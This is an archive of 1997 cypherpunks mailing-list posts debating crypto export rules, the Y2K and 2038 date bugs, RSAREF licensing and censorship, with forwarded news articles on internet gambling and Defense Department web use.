------------------------------------------------------------------------------

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To unsubscribe to CDT's Policy Post list, send mail to

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with a subject:

     unsubscribe policy-posts
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 30 Jul 1997 03:57:24 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Crypto Hooks
In-Reply-To: <v0310280bb003e90f25d0@[207.167.93.63]>
Message-ID: <199707291951.OAA24786@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0310280bb003e90f25d0@[207.167.93.63]>, on 07/29/97 
   at 11:43 AM, Tim May <tcmay@got.net> said:

>This is called "providing crypto hooks," at least in the many threads on
>this list and on Usenet where the details of this have been discussed.

>It is generally interpreted--but there has not yet been a good court case
>to test it, that I know of--that providing a "hook" or place to drop in
>crypto is a violation of the ITARs/replacements for the ITARs.

>Ditto for exporting expertise designed to circumvent the ITARs. Thus,
>RSADSI cannot tell Rivest and the others to go take a 6-month in Monte
>Carlo or Switzerland and develop the next generation there.

>Again, this interpretation has not gotten a clear test in the courts.

Well I export software on a daily basis that "provides crypto hooks". I
also provide advice and consultations to those overseas on crypto &
security related issues. Matter of fact I have someone right now working
on a Russian translation for my software (I wonder if they are still on
the verbotten list along with Cuba & Iran) an a Chinese translation has
already been completed.

I also have a clause in software license that allows anyone to use my
software for free if they live in a totalitarian country where crypto is
baned (like France perhaps USA soon).

The government can only take away our rights if we let them do it. I for
one will not be a party to Washington's criminal conspiracy to subvert the
Constitution of the United States of America.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM948OY9Co1n+aLhhAQENqQQAxgOmIcarFtzA7o/wuE+jixHexC3w5JM2
dOFVnz7qjwUCDyFwGV/NfjWNT6IT+rxby/ZGOUX6WkRax9Z2azYaD77cCih4AYys
rAZ92xDw0MafDoD7UVstURJ0xJZRToiGgxdn04i2PCnzlp1YNWm50mAUm9wrMgN8
bMHD7dTNKvU=
=6vSe
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ketcher@ix.netcom.com (Michael Ketcher )
Date: Wed, 30 Jul 1997 05:24:00 +0800
To: cypherpunks@cyberpass.net
Subject: subscribing to cypherpunks
Message-ID: <199707292115.QAA23668@dfw-ix8.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Lance Cottrell:

    Sandy Sandfort suggested I write to you about subscribing to 
cypherpunks.  How can one do it?  Thank you.

Mike Ketcher





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Wed, 30 Jul 1997 00:56:06 +0800
To: cypherpunks@cyberpass.net
Subject: Re: y2k problem *serious*
In-Reply-To: <199707290054.RAA21755@netcom13.netcom.com>
Message-ID: <5rl6e2$agc@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <Pine.SUN.3.96.970729103454.11487B-100000@beast.brainlink.com>,
Ray Arachelian  <sunder@brainlink.com> wrote:
>Also, the year 2000 isn't a leap year, but most PC's will think it is.

Sigh.  It boggles the mind how many people know the 100-year exception to the
"divisible by 4" rule, but don't know the 400-year exception to the exception.

>From http://www.boulder.nist.gov/timefreq/faq/q28.htm :

    Is the year 2000 a leap year? 

    The year 2000 will be a leap year. Century years (like 1900 and 2000)
    are leap years only if they are evenly divisible by 400. Therefore, 1700,
    1800, and 1900 were not leap years, but the year 2000 will be a leap year.

    To understand this, you need to know why leap years are necessary in
    the first place. Leap years are necessary because the actual length of
    a year is 365.242 days, not 365 days, as commonly stated. Therefore,
    on years that are evenly divisible by 4 (like 1992, for example) an
    extra day is added to the calendar on February 29th. However, since the
    year is slightly less than 365.25 days long, adding an extra day every
    4 years results in about 3 extra days being added over a period of 400
    years. For this reason, only 1 out of every 4 century years is considered
    as a leap year.

Note that (from http://www.boulder.nist.gov/timefreq/ :)

    The Time and Frequency Division is an operating unit of the Physics
    Laboratory of the National Institute of Standards and Technology
    (NIST). Located in Boulder,Colorado at the NIST Boulder Laboratories,
    the Time and Frequency Division:

    o Maintains the primary frequency standard for the United States.
    o Develops and operates standards of time and frequency.
    o Coordinates U. S. T&F standards with other world standards.
    o Provides time and frequency services for United States clientele.
    o Performs research in support of improved standards and services.

So if NIST says 2000 will be a leap year, that would seem to be "official"
(at least for the US).

   - Ian "who's going to be sorry he bothered responding"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 30 Jul 1997 05:07:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Crypto Hooks
In-Reply-To: <v0310280bb003e90f25d0@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970729163658.23235C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Tim May wrote:

> This is called "providing crypto hooks," at least in the many threads on
> this list and on Usenet where the details of this have been discussed.

I wonder what will happen with future operating systems that use the
everything is an object approact - where one can simply call ANY method in
an object...  (Sort of like OpenDOC, if it didn't die...) of course some
methods will be marked as private, but supposing that someone forgot to
mark a method as private... say somewhere in the core of the OS, right
before the TCP stack. <evil grin> 

And suppose you could patch that code with code that uh, compresses, yeah,
that's the ticket, uh, compresses it with a very slow and shitty
compression algorithm that need, uh, a compression dictionary (key) to
decompress, yeah, that's the ticket. :) 

And suppose everyone wrote their apps and operating systems to be
patchable in this way....

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder@sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 30 Jul 1997 05:06:55 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Declan Does Boylove
In-Reply-To: <Pine.GSO.3.95.970729100418.25915E-100000@well.com>
Message-ID: <v03007800b00405677c39@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Now *this* is a Subject: line I never expected to see flash across my screen...

Since dejanews.com is on that swamp-list, I suspect pathfinder.com may
appear as well.

Banning images or text because they might lead to impure thoughts or even
criminal actions is odd. It makes individuals *less* responsible for what
they do, and refuses to admit the possibility of free will...

-Declan


At 12:17 -0700 7/29/97, Mike Duvos wrote:
>Declan writes:
>
>[snip]
>
>Very nice article.
>
>>    "They shouldn't be doing these things with the children's pictures,"
>>     Cox says.
>
>Cough.  One wonders why these nuts spend so much of their time worrying
>about what they imagine others to be aroused by, and why they embrace the
>doctrine of "vicarious long-distance molestation" whenever they think an
>otherwise ordinary photograph has been the victim of some random
>stranger's impure thoughts.
>
>Such nonsense is central to the doctrine of radical feminists like Andrea
>Dworkin, of the "Playboy is rape" mentality.  I've never had a clue as to
>why such individuals aren't laughed out of the auditorium immediately.
>
>Anyone want to wager whether http://netlynews.com/ is the newest addition
>to the other 82k of URLs on Paladino's now-famous "Sewer Site"? :)
>
>--
>     Mike Duvos         $    PGP 2.6 Public Key available     $
>     enoch@zipcon.com   $    via Finger                       $
>         {Free Cypherpunk Political Prisoner Jim Bell}



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0104.myriad.ml.org (Matthew Ghio)
Date: Wed, 30 Jul 1997 08:03:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: y2k problem *serious*
In-Reply-To: <199707290054.RAA21755@netcom13.netcom.com>
Message-ID: <199707292351.QAA24907@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian wrote:
> And don't forget about the year 2038 problem

This is probably more serious than the year 2000 problem.  Unix/posix has
become the de facto standard operating system.  Apple has already migrated
to a unix/mach kernel.  Even Microsoft's NT has substantial amounts of
unix-derived code.  You're kidding yourself if you think this software
won't be around in some form fourty years from now.

The fix is (seemingly) simple:
  typedef unsigned long int time_t;

Which will give you a year 2106 problem instead. :)

That'll at least fix most email systems.  InterNetNews will need a bit
more work to prevent it from trashing its history file come 3:14am
on January 19, 2038.

"Death of usenet predicted; film at 11..."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 30 Jul 1997 05:04:07 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: Declan Does Boylove
In-Reply-To: <Pine.LNX.3.95.970729125238.28389A-100000@www.ctrl-alt-del.com>
Message-ID: <Pine.SUN.3.96.970729165047.23235D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Alan wrote:

> Don't you know that taking someones picture captures a part of their soul
> and that if you concentrate hard enough you can actually cause them harm?

"Don't you know that taking a picture of my license plate will capture a
piece of my soul and cause me harm?  Ossifer, it's against my religion to
allow you to photograph, videotape, or otherwise record my likeness."

(Okay, was a nice try anyway...) :)

=====================================Kaos=Keraunos=Kybernetos================
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye. So good to see you|./|\.
..\|/..|sunder@sundernet.com|once  again.   I thought you were hidinng.|/\|/\
<--*-->| ------------------ |And you thought that I had run away.      |\/|\/
../|\..| "A toast to Odin,  |Chasing the tail of dogma. I opened my eye|.\|/.
.+.v.+.|God of screwdrivers"|and there we were....                     |.....
======================== http://www.sundernet.com ===========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 30 Jul 1997 08:20:20 +0800
To: cypherpunks@cyberpass.net
Subject: Thoughtcrime
In-Reply-To: <19970729191728.25870.qmail@zipcon.net>
Message-ID: <v0310280cb004372f80c1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:50 PM -0700 7/29/97, Declan McCullagh wrote:
>Now *this* is a Subject: line I never expected to see flash across my
>screen...
>
>Since dejanews.com is on that swamp-list, I suspect pathfinder.com may
>appear as well.
>
>Banning images or text because they might lead to impure thoughts or even
>criminal actions is odd. It makes individuals *less* responsible for what
>they do, and refuses to admit the possibility of free will...
>


One word explains this and similar laws: "thoughtcrime."



--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 30 Jul 1997 08:22:29 +0800
To: Matthew Ghio <ghio@temp0104.myriad.ml.org>
Subject: Re: y2k problem *serious*
In-Reply-To: <199707292351.QAA24907@myriad.alias.net>
Message-ID: <Pine.LNX.3.95.970729170646.1036C-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 29 Jul 1997, Matthew Ghio wrote:

> Which will give you a year 2106 problem instead. :)
> 
> That'll at least fix most email systems.  InterNetNews will need a bit
> more work to prevent it from trashing its history file come 3:14am
> on January 19, 2038.
> 
> "Death of usenet predicted; film at 11..."

It just means that some of us will still be around when it all comes
crashing down around us.

Short sightedness will be a problem long into the future and beyond.  With
current management trends, it should actually escalate.  Soon the networks
of the world will resemble "Information Rope Bridges" like in some jungle
adventure movie.  You fear to use them because they might snap and send
your data hurling to its death at the bottom of /dev/null.  And to shore
up the problem, we will get more "quality initiatives", quick fixes
filtered through "media awareness", and more useless gunge.  And it will
all be held together by a couple of engineers who will get fired because
they did not have the right attitude or refused to wear a neck-tie.

The death of the net will not be caused by hidden date problems or
anything publicised.  The last words for the net will be someone from
marketing saying "what does this red button do?.

But remember:

"Future events like these will happen to you in the future."

(Sorry for the rambling...  Going insane installing Oracle on a Sparc...)

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Dierks <timd@consensus.com>
Date: Wed, 30 Jul 1997 08:35:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Attorneys: RSA patent invalid
In-Reply-To: <v03110749affe405c040d@[139.167.130.248]>
Message-ID: <v03110711b00437735393@[157.22.254.113]>
MIME-Version: 1.0
Content-Type: text/plain



Michael C Taylor <mctaylor@nb.sympatico.ca> wrote:
>At 05:29 PM 23/07/97 -0700, you wrote:
> >$25K upfront is prohibitively expensive for freeware and
> >for garage-shop programmers.  It's a drop in the bucket for a
> >large project such as Netscape that wants to add some security,
> >but in a 3-person-month email widget it's excessive.
> >
> >On the other hand, it's now possible to license RSAREF for a much
> >more reasonable fee from Concentric; I think it's just per-copy
> >rather than a big up-front hit.
>
> As of March, 1997 Consensus Development (www.consensus.com) stopped
> licensing RSAREF for a very reasonable amount (~$200 US + 2-3% range I
> think it was??)
>
> Consensus' "SSL Plus" toolkit requires licensee to also license BSAFE from
> RSADSI.
>
> Maybe too many people were using commerical RSAREF licenses rather than the
> BSAFE toolkit.

In truth, issues surrounding the functionality and licensing requirements
of RSAREF meant that it wasn't a sustainable business for us, so we decided
to return the rights to RSA. The license fee was no upfront + 5%. While the
upfront was cheap, the percentage was significantly higher than what can be
negotiated for BSAFE from RSA. This, plus the limited functionality of the
RSAREF toolkit (both technically and due to license restrictions), meant
that most customers preferred to just get BSAFE. This limited commercial
demand is the same reason why we currently don't support RSAREF in SSL Plus.

Please cc me on any responses, as I don't read Cypherpunks any more. (I
found this posting on Bob Hettinga's e$pam).

 - Tim

Tim Dierks - timd@consensus.com - www.consensus.com
     Software Haruspex - Consensus Development
  Developer of SSL Plus: SSL 3.0 Integration Suite






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Wed, 30 Jul 1997 07:01:03 +0800
To: cypherpunks@Algebra.COM
Subject: 7-29_b8_EXTRA_Internet.html
Message-ID: <199707292306.TAA24682@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




  Tuesday
  
   July 29, 1997
   
   [1]ImageMap
   
   LA Fitness
   
                        Web gaming is 'ripe for fraud'
     _________________________________________________________________
   
   By Patrick Wilson
   Washington Bureau
     _________________________________________________________________
   
   WASHINGTON - Two senators toured Internet gambling sites Monday as
   they listened to warnings the growing online casino industry could be
   ripe for corruption and consumer fraud.
   
   Sens. Jon Kyl, R-Ariz., and Richard Bryan, D-Nev., looked on as
   Wisconsin Attorney General Jim Doyle presented what he characterized
   as questionable Web gambling sites.
   
   Doyle appeared before a Senate technology subcommittee studying a bill
   by Kyl to ban gaming on the World Wide Web.
   
   Doyle said Web gaming has grown from a "sleeping giant" to a developed
   industry that must be stopped. To demonstrate how easy it is to gamble
   online, he played a videotaped sample of online casinos such as the
   "Golden Palace," where Web surfers can use credit cards to play craps,
   keno, slots and blackjack, among other games.
   
   Doyle noted the Internet gambling industry even has its own online
   newsletter, "Rolling Good Times," which now is conducting an online
   poll where people can bet - for fun - on whether Congress will pass
   Kyl's bill.
   
   "Who knows what's on the other end of this screen?" Doyle said. "Who
   knows if those cards are fair? Who knows whether organized criminal
   activity is involved?"
   
   Bryan said he has "no confidence whatsoever that gaming on the
   Internet can be regulated now or at any time in the future."
   
   "Unlike the heavily regulated casinos in Nevada, Internet wagering is
   unregulated, and since many of these sites operate off-shore it is
   beyond the reach of U.S. authorities," he said. "Such a scenario is
   ripe for consumer fraud."
   
   Web gambling is catching on rapidly, with one estimate reporting 25
   gaming sites and 100 more in the works. Bryan called Internet betting
   "something that's kind of mushroomed."
   
   Internet users can gamble online with a credit card or by setting up
   an account. There is no way to stop children from gambling on the
   information superhighway, say supporters of the Kyl bill.
   
   "Bringing gaming directly into people's homes, as we are beginning to
   see through the Internet, is so full of potential problems and so far
   beyond the ability of any state to regulate that despite whatever
   business potential it may have it needs to be prohibited on a national
   level," Bryan said.
   
   Kyl's bill, backed by the National Association of Attorneys General,
   would punish those who set up Internet gaming Web sites with a fine of
   up to $10,000, two years in prison or both. Those who made an online
   wager would face one year in prison and a $5,000 fine.
   
   [2]| Top of page | 

References

   1. LYNXIMGMAP:http://www.dailybulletin.com/news/7-29_b8_EXTRA_Internet.html#navbar
   2. http://www.dailybulletin.com/news/7-29_b8_EXTRA_Internet.html#a





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Wed, 30 Jul 1997 07:02:20 +0800
To: cypherpunks@Algebra.COM
Subject: 0728dod.html
Message-ID: <199707292309.TAA24696@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   [1][ISMAP]
   [2]
   [LINK] [LINK]
   [1.][January..] ___Audio
                     ___Video __ [3][ISMAP]-[4][USEMAP]
                           [5][ISMAP]-[6][USEMAP]
                               July 29, 1997
                                      
                Internet Technology Invades Dept. Of Defense
                         (07/228/97; 4:00 p.m. EDT)
                By Saroja Girishankar, [7]CommunicationsWeek
                                      
    When it comes to embracing Web technologies, no organization in the
    world has mobilized its forces as extensively as the U.S. Department
                                of Defense.
                                      
    In what could become a textbook example for other nations and major
      businesses, the DOD's deployment of Web servers and browsers is
   expected to encompass 2 million users across an assortment of military
   and civilian agencies, making it the world's largest single community
    of Web users. To date, 1.5 million Web browsers have been installed
            across DOD's classified and nonclassified intranets.
                                      
   Already, Web servers at 16 major server sites, applications across 530
    military command sites and an additional 37 component command sites
   provide a secure environment for tens of thousands of high-level Army,
     Navy and Air Force personnel, plus the joint chiefs of staff. They
    will use it to plan military exercises, perform logistics for troop
      movement, ready medical services and other operations related to
                                  combat.
                                      
   The ultimate goal is to provide all military personnel in need with a
    single, multimedia view of military command, control, communications
    and intelligence information, regardless of where they are located,
    according to Frank Perry, technical director for the engineering and
      interoperability directorate and the joint interoperability and
                         engineering organization.
                                      
       Perry said Web technologies, from basic E-mail, newsgroups and
    Internet chat rooms to more advanced Java programs, are making that
                                 possible.
                                      
                           Extending DOD's Reach
                                      
    "The Web browser and applications have made a profound difference in
    getting more and more things to more and more people in the DOD, and
      basically have given us a broader, faster and simpler reach for
     various applications in a truly network-centric way," Perry said.
                                      
   One area where this plays out is managing the movement and deployment
                         of U.S. troops in Bosnia.
                                      
   According to Lt. General Albert Edmonds, who last month retired after
     a three-year stint as director of the Defense Information Systems
      Agency (DISA), and who oversaw the Web implementations, critical
     information related to the deployments were downloaded and easily
     replicated across secure Web servers that could be accessed by all
                             parties involved.
                                      
     Regardless of the different desktops and laptops, personnel could
    download and access information, and the distributed format reduced
    bandwidth congestion as well. Before the Web rollout, most databases
     were on mainframes and could be accessed only by a small group of
                                  people.
                                      
      The DOD, along with other government agencies, has for some time
   relied on commercial products and technologies for faster development
       and lower costs. DISA, which is responsible for operating four
     networks -- the Defense Information Systems Network (DISN), Global
   Command and Control System (GCCS), Global Combat Support System (GCCS)
        and the Defense Messaging System (DMS) -- under the umbrella
   organization called the Defense Information Infrastructure -- has been
       moving its antiquated mainframe-based networks to distributed
         [8]TCP/IP[LINK] networks and other emerging technologies.
                                      
      According to Perry, all GCCS users are being moved to Windows NT
   desktops outfitted with browsers from both Netscape Communications and
     Microsoft. This enables them to exchange E-mail and participate in
    newsgroups and Internet relay chat for planning military exercises.
                                      
   For GCCS and GCSS users who have real-time needs of even more reliable
    and secure access, existing Unix clients will be retained. Users who
   have traditionally been using Unix-client software are being gradually
   moved to thin clients that use browsers with Java applets. Over time,
            all GCSS users will also be given similar software.
                                      
   Lastly, both GCCS and GCSS are moving to Java-based applications with
     authentication and cryptographical capabilities required for high
     security. Perry said Microsoft's [9]ActiveX[LINK] has not been an
   option because it allows executable content to move around distributed
     environments in a mobile mode and raises security questions. Java
    Virtual Machine and its sandbox construction offer better assurance,
                                  he said.
                                      
    Perry said GCCS and GCSS operate over a high-security TCP/IP router
    network called the Secret Internet Protocol Router Network that has
   500 core routers as well as hundreds of routers at regional and local
    networks linked to a WAN using a [10]T3[LINK] line. A nonclassified
    network, called the Nonclassified Internet Protocol Router Network,
       which is made up of [11]ATM[LINK] switches and TCP/IP routers,
    provides the basic infrastructure for all of DOD. Although only data
    traffic now goes over ATM, plans are for future transmission of all
               voice, data and video over that cell network.
                                      
                      DMS Affected By Web Technologies
                                      
   The adoption of Web technologies is affecting plans for the DMS. Perry
      and Tom Clark, the DMS program manager, said they will adopt the
     emerging Internet Message Access Protocol 4 -- the Internet E-mail
     standard that promises to let disparate E-mail clients and servers
    talk to each other. DMS, which is expected to have 250,000 users by
      year's end and 2 million during the next few years, is an X.400
          electronic messaging backbone under construction at DOD.
                                      
   DISA said the GCCS, which replaced the older mainframe-based Worldwide
      Military Command and Control System, was completed in 21 months
    instead of the typical five years previously required. In addition,
   the agency said it expects savings of $260 million in the systems and
       operational costs of its networks during the next five years.
                                      
   "Using and adapting the commercial Web technologies permits [the DOD]
    not to spend 20 years building military-unique systems from scratch
    and it requires less training of our users," said Emmett Paige Jr.,
      president and COO at OAO, a Greenbelt, Md., systems integrator.
                                      
      Paige was the Assistant Secretary of Defense (Command, Control,
      Communications and Intelligence) until he retired last month. He
    headed the DOD's adoption of a common operating environment and the
                  move to TCP/IP and Web technologies. end
                                      
                           Related articles from:
                              [12]Techsearch 
                       Search TechWire & CMP Archives
                           [All CMP Publications]
                            ____________________
                                   ______
            [13]Get TechWeb Delivered -- Subscribe now for FREE!
                                      
                               Sponsored By:
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                    [26]Techsearch Search the archives:
                              _______________
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                          [27][LINK] = Link to our
                           [28]tech encyclopedia
                               for more info.
                                      
                      [29]Click here to visit NetGuide
                          [30][ISMAP]-[31][USEMAP]
     _________________________________________________________________
   
                                [32][USEMAP]

References

   1. http://192.215.107.71/general/logos/brandbar.gif.map
   2. http://www.techweb.com/cgi-bin/ad_client.cgi?creativeId=1986&pubId=16&cmd=click_ad&position=1&campaignId=1539&pageName=%2Fwire%2Fnews%2Fjul%2F0728dod.html
   3. http://www.techweb.com/ads/graphics/tw/right2.map
   4. LYNXIMGMAP:http://192.215.107.71/wire/news/jul/0728dod.html#right2
   5. http://192.215.107.71/general/logos/secbar.map
   6. LYNXIMGMAP:http://192.215.107.71/wire/news/jul/0728dod.html#SECBAR
   7. http://www.techweb.com/cw
   8. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=TCP/IP
   9. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=ActiveX
  10. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=T3
  11. http://www.techweb.com/encyclopedia/defineterm.cgi?sstring=ATM
  12. http://www.techweb.com/search/search.html
  13. http://192.215.107.71/delivery/delivery.html
  14. http://www.techweb.com/cgi-bin/ad_client.cgi?creativeId=4246&pubId=16&cmd=click_ad&position=TechWireTOC&campaignId=1932&pageName=%2Fwire%2Fnews%2Fjul%2F0728dod.html
  15. http://192.215.107.71/wire/wire.html
  16. http://192.215.107.71/wire/news/news.html
  17. http://192.215.107.71/wire/wire.html
  18. http://192.215.107.71/wire/industry/industry.html
  19. http://192.215.107.71/investor/newsroom/newsroom.html
  20. http://192.215.107.71/wire/online/online.html
  21. http://192.215.107.71/wire/software/software.html
  22. http://192.215.107.71/wire/networking/networking.html
  23. http://192.215.107.71/wire/chips/chips.html
  24. http://192.215.107.71/wire/products/products.html
  25. http://192.215.107.71/wire/international/international.html
  26. http://www.techweb.com/search/search.html
  27. http://www.techweb.com/encyclopedia/
  28. http://www.techweb.com/encyclopedia/
  29. http://www.techweb.com/cgi-bin/ad_client.cgi?creativeId=8606&pubId=16&cmd=click_ad&position=236&campaignId=8814&pageName=%2Fwire%2Fnews%2Fjul%2F0728dod.html
  30. http://192.215.107.71/general/toolbar/toolbarPB.gif.map
  31. LYNXIMGMAP:http://192.215.107.71/wire/news/jul/0728dod.html#promomap
  32. LYNXIMGMAP:http://192.215.107.71/wire/news/jul/0728dod.html#toolbarmap





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ahoier@juno.com (A Hoier)
Date: Wed, 30 Jul 1997 07:29:25 +0800
To: cypherpunks@toad.com
Subject: This is an E-Mail Chain Letter!!!!!!!!!!!!!!!!!!!
Message-ID: <19970729.191146.3374.0.ahoier@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm passing around this letter so write a comment on it then forward it
to  some friends wonce you see 100 names on it E-MAIL it to
ahoier@juno.com.......K
--------------------------------------------------------------------------------------------------------------------
Write 1st comment here then pass on to friend...K





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 30 Jul 1997 08:28:30 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Declan Does Boylove
In-Reply-To: <v03007800b00405677c39@[168.161.105.191]>
Message-ID: <199707300024.TAA28244@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03007800b00405677c39@[168.161.105.191]>, on 07/29/97 
   at 04:50 PM, Declan McCullagh <declan@well.com> said:

>Now *this* is a Subject: line I never expected to see flash across my
>screen...

>Since dejanews.com is on that swamp-list, I suspect pathfinder.com may
>appear as well.

>Banning images or text because they might lead to impure thoughts or even
>criminal actions is odd. It makes individuals *less* responsible for what
>they do, and refuses to admit the possibility of free will...

There is nothing odd about it. This is the SOP for these Nazi bastards. It
is the central theme with the anti-crypto, pro-ratinging crowd.

Their only goal is to have the power to contol what you can and can not
say. If you deviate from their moral code they want the power to punish
you with the force of the state.

This is no different then the Holy Roman Church back in the dark ages. If
you say that the world if round against church doctrin they will put you
on the rack.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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zwPiTxVyC5s=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 30 Jul 1997 09:09:09 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: y2k problem *serious*
In-Reply-To: <Pine.LNX.3.95.970729170646.1036C-100000@www.ctrl-alt-del.com>
Message-ID: <199707300059.TAA28643@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.970729170646.1036C-100000@www.ctrl-alt-del.com>, on
07/29/97 
   at 05:16 PM, Alan <alan@ctrl-alt-del.com> said:


>On Tue, 29 Jul 1997, Matthew Ghio wrote:

>> Which will give you a year 2106 problem instead. :)
>> 
>> That'll at least fix most email systems.  InterNetNews will need a bit
>> more work to prevent it from trashing its history file come 3:14am
>> on January 19, 2038.
>> 
>> "Death of usenet predicted; film at 11..."

>It just means that some of us will still be around when it all comes
>crashing down around us.

>Short sightedness will be a problem long into the future and beyond. 
>With current management trends, it should actually escalate.  Soon the
>networks of the world will resemble "Information Rope Bridges" like in
>some jungle adventure movie.  You fear to use them because they might
>snap and send your data hurling to its death at the bottom of /dev/null. 
>And to shore up the problem, we will get more "quality initiatives",
>quick fixes filtered through "media awareness", and more useless gunge. 
>And it will all be held together by a couple of engineers who will get
>fired because they did not have the right attitude or refused to wear a
>neck-tie.

>The death of the net will not be caused by hidden date problems or
>anything publicised.  The last words for the net will be someone from
>marketing saying "what does this red button do?.

Well I really have to laugh my ass off over the Y2K thingy. :)

I get calls on a weekly basis to do Cobol work on the Y2K which of cource
I turn down (anyone who has waited this late to fix the problem is beyond
hope).

Anyone, and I do mean anyone, who has not already resolved any Y2K issues
by now get exactly what they deserve and it would be best for all
concerned if on Jan 1, 2000 they just disappeared (some people are just
too stupid to survive).


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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nm3Qq2O9mjIQChxUsg8UCpruSQa/Gk0V2C3VGBnvgtym/cdgHaYPJwOFTcRJDwEt
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 30 Jul 1997 09:08:14 +0800
To: cypherpunks@einstein.ssz.com
Subject: Gone for vacation
Message-ID: <199707300105.UAA28700@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Hi,

